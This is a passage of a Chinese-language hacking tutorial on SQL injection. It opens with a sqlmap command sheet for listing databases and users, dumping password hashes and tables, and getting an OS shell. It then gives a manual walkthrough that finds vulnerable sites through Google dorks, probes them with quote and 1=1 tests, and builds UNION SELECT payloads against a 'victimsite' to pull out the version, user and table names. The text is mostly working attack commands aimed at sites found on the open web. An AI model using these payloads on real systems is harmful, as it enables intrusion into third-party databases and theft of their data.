/sqlmap.py –h //查看帮助信息
./sqlmap.py –u “http://www.anti-x.net/inject.asp id=injecthere” //get注入
./sqlmap.py –u “http://www.anti-x.net/inject.asp id=injecthere” --data “DATA”//post注入
./sqlmap.py –u “http://www.anti-x.net/inject.asp id=injecthere” --cookie “COOKIE”//修改请求时的cookie
./sqlmap.py –u “http://www.anti-x.net/inject.asp id=injecthere” --dbs //列数据库
./sqlmap.py –u “http://www.anti-x.net/inject.asp id=injecthere” –-users //列用户
./sqlmap.py –u “http://www.anti-x.net/inject.asp id=injecthere” –-passwords //获取密码hash
./sqlmap.py –u “http://www.anti-x.net/inject.asp id=injecthere” –-tables -D DB_NAME //列DB_NAME的表
./sqlmap.py –u “http://www.anti-x.net/inject.asp id=injecthere” –-columns –T TB_NAME -D DB_NAME //读取TB_NAME中的列
./sqlmap.py –u “http://www.anti-x.net/inject.asp id=injecthere” –-dump –C C1,C2,C3 –T TB_NAME -D DB_NAME //读字段C1,C2,C3数据
./sqlmap.py –u “http://www.anti-x.net/inject.asp id=injecthere” –-os-shell //取得一个shell
第一步：搜索可能有漏洞的网站
Google 是很强大的，之前牛牛的帖子就已经提到了利用google收集信息。这里我们可以搜索的关键词很多，例如：
inurl:index.php id=
inurl:gallery.php id=
inurl:article.php id=
inurl:pageid=
网上有个术语，把这些称作“Google Dorks”
如果想针对某个特定的网站，可以用类似的格式搜索：site: http:// www.victimsite.com inurl:php id=
第二步：检测一下目标是否有明显漏洞
搜索结果会出来一大堆，一个简单的测试方式是在Url末尾的数字后面加单引号或者加上 and 1=1 或者 1=2 看看界面是否有明显变化或者直接就给出SQL的报错语句了。
第三步：看看该表有多少个字段
这一步很简单，也容易理解，url后面加上order by number就行了，这个number可以随意输入，一般从小往大的尝试，比如12,3,4,5都能看见网页界面，然后6就报错了，那么很明显这个网页对应的表只有5个字段
比如当我输入1-4的时候是这个界面
第四步：找到有漏洞的字段
如果字段数目是7，那么可以用以下方式，注意数字改成负数
http://www.victimsite.com/index.php id=-2union select 1,2,3,4,5,6,7—
或者
http://www.victimsite.com/index.php id=-2and 1=2 union select 1,2,3,4,5,6,7—
第五步：找到对应的版本号，数据库和用户
把上面的2换成对应的version(),database()和user()即可，例如
http://www.victimsite.com/index.php id=-2and 1=2 union select 1,2,version(),4,5,6,7—
http://www.victimsite.com/index.php id=-2and 1=2 union select 1,2,database(),4,5,6,7—
http://www.victimsite.com/index.php id=-2and 1=2 union select 1,2,user(),4,5,6,7—
第六步：看看这个数据库下有哪些表
用group_concat(table_name)替换有漏洞的字段，然后后面加frominformation_schema.tables where table_schema=database()
例如：http://www.victimsite.com/index.php id=-2 and 1=2 unionselect 1,2,group_concat(table_name),4,5,6,7 from information_schema.tableswhere